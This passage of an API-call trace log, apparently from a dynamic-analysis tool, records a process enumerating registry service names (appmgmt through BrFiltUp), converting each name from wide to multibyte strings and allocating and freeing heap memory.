out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0255.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.311] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.311] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.311] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0255.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0255.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.311] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.311] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.311] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0255.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0255.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.311] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.311] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.311] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.311] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0255.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0255.311] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.312] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.312] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.312] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0255.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0255.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0255.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.312] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.312] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.312] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0255.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0255.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0255.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.312] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.312] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.312] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0255.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0255.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.312] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.312] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.312] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.312] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0255.312] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0255.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0255.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0255.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0255.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0255.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0255.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0255.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0255.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0255.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0255.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0255.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0255.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0255.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0255.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.314] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0255.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.314] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0255.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0255.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0255.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0255.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0255.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0255.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0255.315] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.315] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0255.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0255.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0255.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0255.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0255.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0255.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0255.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0255.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0255.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, 